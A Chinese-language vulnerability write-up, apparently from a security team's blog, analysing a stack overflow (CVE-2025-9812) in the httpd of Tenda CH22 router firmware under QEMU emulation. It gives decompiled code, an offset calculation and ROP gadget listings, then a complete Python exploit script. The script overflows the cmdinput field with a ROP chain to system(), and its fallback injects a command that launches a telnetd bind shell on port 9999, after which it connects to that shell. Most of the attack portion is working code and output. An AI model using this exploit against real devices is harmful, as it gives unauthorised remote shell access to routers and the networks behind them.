ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

Tenda CH22 httpd formexeCommand 栈溢出分析(CVE-2025-9812)

Tenda CH22 httpd formexeCommand 栈溢出分析(CVE-2025-9812)
首先,我们拿到这个固件之后还是先进行查看一下这个架构

这里可以看出来是32位的arm架构的;
~ > cd /home/bgl1/renwu ~/renwu > ls 'US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin' '_US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted' ~/renwu > cd _US_CH22V1.0BR_V1.0.0.6\(468\)_CN_TDC.bin.extracted ~/r/_US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted > sudo ip link add br0 type bridge ┌──────────────────────────────────────────────┐ │ 🦀 Clawd Permission Request │ │ Command: ip link add br0 type bridge │ Waiting for your response on Windows... │ └──────────────────────────────────────────────┘ Clawd decision: allow ✓ Approved! Executing with sudo... [sudo] bgl1 的密码: 对不起,请重试。 [sudo] bgl1 的密码: ~/r/_US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted > sudo ip addr add 192.168.0.1/24 dev br0 12s ┌──────────────────────────────────────────────┐ │ 🦀 Clawd Permission Request │ │ Command: ip addr add 192.168.0.1/24 dev br0 │ Waiting for your response on Windows... │ └──────────────────────────────────────────────┘ Clawd decision: allow ✓ Approved! Executing with sudo... ~/r/_US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted > sudo ip link set br0 up 3s ┌──────────────────────────────────────────────┐ │ 🦀 Clawd Permission Request │ │ Command: ip link set br0 up │ Waiting for your response on Windows... │ └──────────────────────────────────────────────┘ Clawd decision: allow ✓ Approved! Executing with sudo... ~/r/_US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted > cd squashfs-root ~/r/_/squashfs-root > sudo mount -t proc proc ./proc/ ┌──────────────────────────────────────────────┐ │ 🦀 Clawd Permission Request │ │ Command: mount -t proc proc ./proc/ │ Waiting for your response on Windows... │ └──────────────────────────────────────────────┘ Clawd decision: allow ✓ Approved! Executing with sudo... ~/r/_/squashfs-root > sudo mount -o bind /dev ./dev/ ┌──────────────────────────────────────────────┐ │ 🦀 Clawd Permission Request │ │ Command: mount -o bind /dev ./dev/ │ Waiting for your response on Windows... │ └──────────────────────────────────────────────┘ Clawd decision: allow ✓ Approved! Executing with sudo...
上面这一部分是我们进行仿真启动之前先设置一下网桥以及相关的文件挂载,防止后面因为这些原因导致报错;

~/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root > sudo chroot . /qemu-arm-static /bin/httpd Yes: ****** WeLoveLinux ****** Welcome to ... connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. killall: dhcps: no process killed connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. killall: dhcps-guest: no process killed INIT cert part CertInitFromFlash failed to mtd_open cert connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. Stop Ftp Sev...... PostMsg msg create error Post Msg failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. httpd listen ip = 192.168.0.1 port = 80 webs: Listening for HTTP requests at address 220.59.9.0 connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. line:458.open /dev/flow failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory
这里我们直接进行了qemu启动,发现这里不需要进行path,直接进行patch就行

这里由于我的emba因为docker的原因,无法进行正常扫描,所以,这里使用ai进行扫描一下
这里我们发现了doSystemCmd函数,这个函数内部调用的是system,但是我们比较菜,还是使用strcpy吧
int __fastcall formexeCommand(int a1) { size_t v1; // r0 char v4[4096]; // [sp+10h] [bp-231Ch] BYREF char v5[4096]; // [sp+1010h] [bp-131Ch] BYREF char s1[256]; // [sp+2010h] [bp-31Ch] BYREF char s[512]; // [sp+2110h] [bp-21Ch] BYREF size_t n; // [sp+2310h] [bp-1Ch] FILE *stream; // [sp+2314h] [bp-18h] char *src; // [sp+2318h] [bp-14h] int v11; // [sp+231Ch] [bp-10h] memset(s, 0, sizeof(s)); memset(s1, 0, sizeof(s1)); memset(v5, 0, sizeof(v5)); memset(v4, 0, sizeof(v4)); v11 = 0; src = (char *)sub_28B84(a1, "cmdinput", &unk_852EC); strcpy(s, src); sub_4F554(s1, s); if ( !strcmp(s1, "cd") ) { v1 = strlen(path_buf); sub_4F634(path_buf, s, v1); doSystemCmd(); } else if ( !strcmp(s1, "ls") || !strcmp(s1, "cat") ) { sub_4F280(s); doSystemCmd(); } else if ( !strcmp(s1, "echo") ) { sub_4EFA8(s); doSystemCmd(); } else { if ( strcmp(s1, "pwd") ) strcmp(s1, "ping"); doSystemCmd(); } stream = fopen("/tmp/cmdTmp.txt", "r"); while ( 1 ) { memset(v4, 0, sizeof(v4)); if ( !fgets(v4, 4096, stream) ) break; n = strlen(v4); if ( v11 + n + 1 > 0x1000 ) break; memcpy(&v5[v11], v4, n); v11 += n; } fclose(stream); sub_29504( a1, "HTTP/1.1 200 OK\nContent-type: text/plain; charset=utf-8\nPragma: no-cache\nCache-Control: no-cache\n\n"); sub_29504(a1, "%s", v5); return sub_29A4C(a1, 200); }
这里我们发现了这个漏洞函数
; Attributes: bp-based frame fpd=0xFFFFFFF8 ; int __fastcall formexeCommand(int) EXPORT formexeCommand formexeCommand var_22F8= -0x22F8 var_12F8= -0x12F8 s1= -0x314 s= -0x214 n= -0x14 stream= -0x10 src= -0xC var_8= -8 var_4= -4 PUSH {R4,R11,LR} ADD R11, SP, #8 SUB SP, SP, #0x2300 SUB SP, SP, #0x24 LDR R4, =(_GLOBAL_OFFSET_TABLE_ - 0x4F8F4) ADD R4, PC, R4 ; _GLOBAL_OFFSET_TABLE_ MOV R3, #0xFFFFDCEC SUB R12, R11, #-(-8+var_4) STR R0, [R12,R3] MOV R3, #0xFFFFDCE8 SUB R0, R11, #-(-8+var_4) STR R1, [R0,R3] MOV R3, #0xFFFFDCE4 SUB R1, R11, #-(-8+var_4) STR R2, [R1,R3] SUB R2, R11, #-(-8+s) MOV R3, #0x200 MOV R0, R2 ; s MOV R1, #0 ; c MOV R2, R3 ; n BL memset SUB R2, R11, #-(-8+s1) MOV R3, #0x100 MOV R0, R2 ; s MOV R1, #0 ; c MOV R2, R3 ; n BL memset MOV R3, #0xFFFFECF0 SUB R12, R11, #-(-8+var_4) ADD R2, R12, R3 MOV R3, #0x1000 MOV R0, R2 ; s MOV R1, #0 ; c MOV R2, R3 ; n BL memset MOV R3, #0xFFFFDCF0 SUB R0, R11, #-(-8+var_4) ADD R2, R0, R3 MOV R3, #0x1000 MOV R0, R2 ; s MOV R1, #0 ; c MOV R2, R3 ; n BL memset MOV R3, #0 STR R3, [R11,#-8+var_8] MOV R3, #0xFFFFDCEC SUB R1, R11, #-(-8+var_4) LDR R0, [R1,R3] LDR R3, =(aCmdinput - 0x91DF8) ; "cmdinput" ADD R3, R4, R3 ; "cmdinput" MOV R1, R3 LDR R3, =(unk_852EC - 0x91DF8) ADD R3, R4, R3 ; unk_852EC MOV R2, R3 BL sub_28B84 STR R0, [R11,#-8+src] SUB R3, R11, #-(-8+s) MOV R0, R3 ; dest LDR R1, [R11,#-8+src] ; src BL strcpy SUB R2, R11, #-(-8+s1) SUB R3, R11, #-(-8+s) MOV R0, R2 MOV R1, R3 BL sub_4F554 SUB R3, R11, #-(-8+s1) MOV R0, R3 ; s1 LDR R3, =(aCd - 0x91DF8) ; "cd" ADD R3, R4, R3 ; "cd" MOV R1, R3 ; s2 BL strcmp MOV R3, R0 CMP R3, #0 BNE loc_4FA68
我们这里查看一下这个漏洞函数formexeCommand的汇编代码,我们可以计算出这个函数栈的大小

SUB SP, SP, #0x2300

SUB SP, SP, #0x24

我们看这两句汇编的代码,就是栈空间的大小8996字节

这里我们发现这个s的相对偏移量为540字节,这是静态调试,我们去gdb动态调试一下,确认一下偏移量
这里先进行qemu启动
~/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root > sudo chroot . ./qemu-arm-static -g 1234 /bin/httpd 1m 29s Yes: ****** WeLoveLinux ****** Welcome to ... connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. killall: dhcps: no process killed connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. killall: dhcps-guest: no process killed INIT cert part CertInitFromFlash failed to mtd_open cert connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. Stop Ftp Sev...... PostMsg msg create error Post Msg failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. httpd listen ip = 192.168.0.1 port = 80 webs: Listening for HTTP requests at address 220.59.9.0 connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. line:458.open /dev/flow failed. sh: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB: File name too long

启动gdb并且发送脚本

这里看到pc指针里面是b。所以我们算出来的偏移量是对的
确认完之后就可以构造rop了
~/r/c/_/squashfs-root > sudo cat /proc/$(pgrep qemu-arm)/maps | grep libc.so err 1|1 [sudo] bgl1 的密码: 66562000-665c7000 r--p 00000000 08:03 2416702 /home/bgl1/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/lib/libc.so.0 665cf000-665d0000 r--p 00065000 08:03 2416702 /home/bgl1/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/lib/libc.so.0 665d0000-665d1000 rw-p 00066000 08:03 2416702 /home/bgl1/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/lib/libc.so.0 6670f000-66714000 r--p 00000000 08:03 2416697 /home/bgl1/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/lib/ld-uClibc.so.0 6671b000-6671c000 r--p 00004000 08:03 2416697 /home/bgl1/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/lib/ld-uClibc.so.0 6671c000-6671d000 rw-p 00005000 08:03 2416697 /home/bgl1/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/lib/ld-uClibc.so.0 ~/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root > arm-linux-gnueabi-readelf -s lib/libc.so.0 | grep " system@" ~/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root > arm-linux-gnueabi-objdump -d lib/libc.so.0 | grep -A2 "pop.*r0.*pc" err 0|1 19744: e8bd807f pop {r0, r1, r2, r3, r4, r5, r6, pc} 19748: 00053df0 strdeq r3, [r5], -r0 1974c: 000009e8 andeq r0, r0, r8, ror #19 -- 2f354: e8bd81ff pop {r0, r1, r2, r3, r4, r5, r6, r7, r8, pc} 2f358: 0003e1dc ldrdeq lr, [r3], -ip 2f35c: 000010fc strdeq r1, [r0], -ip -- 3224c: e8bd80bf pop {r0, r1, r2, r3, r4, r5, r7, pc} 32250: 0003b2f8 strdeq fp, [r3], -r8 32254: 000011a8 andeq r1, r0, r8, lsr #3 -- 33e48: e8bd801f pop {r0, r1, r2, r3, r4, pc} 33e4c: 000396e0 andeq r9, r3, r0, ror #13 33e50: 000017c0 andeq r1, r0, r0, asr #15 -- 33eac: e8bd801f pop {r0, r1, r2, r3, r4, pc} 33eb0: 00039684 andeq r9, r3, r4, lsl #13 33eb4: 000017c0 andeq r1, r0, r0, asr #15 -- 34470: e8bd801f pop {r0, r1, r2, r3, r4, pc} 34474: 000390b8 strheq r9, [r3], -r8 34478: 00001b18 andeq r1, r0, r8, lsl fp -- 344d4: e8bd801f pop {r0, r1, r2, r3, r4, pc} 344d8: 0003905c andeq r9, r3, ip, asr r0 344dc: 00001b18 andeq r1, r0, r8, lsl fp -- 34848: e8bd801f pop {r0, r1, r2, r3, r4, pc} 3484c: 00038ce0 andeq r8, r3, r0, ror #25 34850: 00001e90 muleq r0, r0, lr -- 348ac: e8bd801f pop {r0, r1, r2, r3, r4, pc} 348b0: 00038c84 andeq r8, r3, r4, lsl #25 348b4: 00001e90 muleq r0, r0, lr -- 35e64: e8bd807f pop {r0, r1, r2, r3, r4, r5, r6, pc} 35e68: 000376e4 andeq r7, r3, r4, ror #13 35e6c: 000009e8 andeq r0, r0, r8, ror #19 -- 3c764: e8bd807f pop {r0, r1, r2, r3, r4, r5, r6, pc} 3c768: 00030dd4 ldrdeq r0, [r3], -r4 3c76c: 000009e8 andeq r0, r0, r8, ror #19 -- 3db60: 08bd8001 popeq {r0, pc} 3db64: e3520002 cmp r2, #2 3db68: e4d13001 ldrb r3, [r1], #1 -- 3db80: e8bd8001 pop {r0, pc} 3db84: e26cc004 rsb ip, ip, #4 3db88: e35c0002 cmp ip, #2 -- 4b698: e8bd807f pop {r0, r1, r2, r3, r4, r5, r6, pc} 4b69c: 00021ebc ; <UNDEFINED> instruction: 0x00021ebc 4b6a0: 00000d14 andeq r0, r0, r4, lsl sp -- 4bc44: e8bd807f pop {r0, r1, r2, r3, r4, r5, r6, pc} 4bc48: 00021910 andeq r1, r2, r0, lsl r9 4bc4c: 00000d2c andeq r0, r0, ip, lsr #26 -- 4c174: e8bd807f pop {r0, r1, r2, r3, r4, r5, r6, pc} 4c178: 000213e0 andeq r1, r2, r0, ror #7 4c17c: 00000d44 andeq r0, r0, r4, asr #26 -- 501b0: e8bd807f pop {r0, r1, r2, r3, r4, r5, r6, pc} 501b4: 0001d37c andeq sp, r1, ip, ror r3 501b8: 000047bc ; <UNDEFINED> instruction: 0x000047bc -- 53b30: e8bd807f pop {r0, r1, r2, r3, r4, r5, r6, pc} 53b34: 00019ba0 andeq r9, r1, r0, lsr #23 53b38: 00000a44 andeq r0, r0, r4, asr #20 -- 5ae7c: e8bd8001 pop {r0, pc} 5ae80: e52de008 str lr, [sp, #-8]! 5ae84: ebfffff8 bl 5ae6c <__libc_system+0xbfc> ~/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root >
但是由于每次启动qemu的时候,因为aslr的原因导致每次地址都不一样,所以就直接ai了
import socket import struct import subprocess import sys import os import time # ── Config ────────────────────────────────────────────── TARGET_IP = "192.168.0.1" TARGET_PORT = 80 BINDSHELL_PORT = 9999 OFFSET_TO_PC = 540 # Confirmed with cyclic pattern # libc offsets (from lib/libc.so.0) LIBC_SYSTEM_OFFSET = 0x0005a270 LIBC_POP_R0_PC_OFF = 0x0003db80 # pop {r0, pc} # Approximate stack address (observed in GDB at crash point) # Adjust if this changes between QEMU runs STACK_CMD_ADDR = 0x4080028c # SP+20 from observed crash SP 0x40800278 # ── Helpers ───────────────────────────────────────────── def p32(x): return struct.pack("<I", x & 0xFFFFFFFF) def get_libc_base(): """Read libc base from running qemu-arm process""" try: pid = subprocess.check_output( "pgrep -f 'qemu-arm.*httpd' | head -1", shell=True ).decode().strip() if not pid: return None maps = subprocess.check_output( f"sudo cat /proc/{pid}/maps", shell=True ).decode() for line in maps.split('\n'): if 'libc.so.0' in line and 'r-xp' in line: return int(line.split('-')[0], 16) except: pass return None def send_payload(payload): """Send POST request with overflow payload""" body = b"cmdinput=" + payload sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((TARGET_IP, TARGET_PORT)) req = ( f"POST /goform/exeCommand HTTP/1.0\r\n" f"Host: {TARGET_IP}\r\n" f"Content-Type: application/x-www-form-urlencoded\r\n" f"Content-Length: {len(body)}\r\n" f"\r\n" ).encode() + body sock.send(req) try: resp = sock.recv(4096) print(f"[*] Response: {resp[:200]}") except socket.timeout: print("[*] No response (httpd may have crashed - expected for ROP)") sock.close() def check_shell(): """Check if bind shell is listening""" try: s = socket.socket() s.settimeout(3) s.connect((TARGET_IP, BINDSHELL_PORT)) s.send(b"echo SHELL_OK; id\n") time.sleep(0.5) data = s.recv(4096) s.close() return data except: return None # ── Main ──────────────────────────────────────────────── def main(): print("[*] CVE-2025-9812 ROP Exploit") print(f"[*] Target: {TARGET_IP}:{TARGET_PORT}") print(f"[*] Offset to PC: {OFFSET_TO_PC} bytes") # 1. Get libc base libc_base = get_libc_base() if not libc_base: print("[-] Cannot find libc base. Is httpd running?") print("[*] Trying command injection fallback...") # Command injection fallback (always works) payload = b"ls; /usr/sbin/telnetd -p %d -l /bin/sh;" % BINDSHELL_PORT send_payload(payload) time.sleep(2) result = check_shell() if result: print(f"[+] Shell via command injection! Output:\n{result.decode(errors='replace')}") print(f"[*] Connect: nc {TARGET_IP} {BINDSHELL_PORT}") else: print("[-] Shell not available. Start httpd and try again.") return print(f"[+] libc base: 0x{libc_base:08x}") # 2. Calculate addresses system_addr = libc_base + LIBC_SYSTEM_OFFSET gadget_addr = libc_base + LIBC_POP_R0_PC_OFF cmd_addr = STACK_CMD_ADDR print(f"[+] system: 0x{system_addr:08x}") print(f"[+] gadget: 0x{gadget_addr:08x}") print(f"[+] cmd: 0x{cmd_addr:08x}") # 3. Build ROP chain cmd = b"/usr/sbin/telnetd -p %d -l /bin/sh" % BINDSHELL_PORT payload = b"A" * OFFSET_TO_PC payload += p32(gadget_addr) # PC → pop {r0, pc} payload += p32(cmd_addr) # → R0 = pointer to cmd string payload += p32(system_addr) # → PC = system() payload += cmd + b"\x00" # command string (at cmd_addr) print(f"[*] Payload length: {len(payload)} bytes") print(f"[*] Sending ROP payload...") # 4. Send exploit send_payload(payload) # 5. Wait and check print(f"[*] Waiting for shell on port {BINDSHELL_PORT}...") time.sleep(2) for attempt in range(3): print(f"[*] Attempt {attempt+1}...") result = check_shell() if result: print(f"[+] GOT SHELL!\n{result.decode(errors='replace')}") print(f"[*] Connect: nc {TARGET_IP} {BINDSHELL_PORT}") return time.sleep(1) print("[-] ROP shell failed. Trying command injection fallback...") payload = b"ls; /usr/sbin/telnetd -p %d -l /bin/sh;" % BINDSHELL_PORT send_payload(payload) time.sleep(2) result = check_shell() if result: print(f"[+] Shell via command injection!") print(f"[*] Connect: nc {TARGET_IP} {BINDSHELL_PORT}") if __name__ == "__main__": main()

这样就拿到shell了
RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进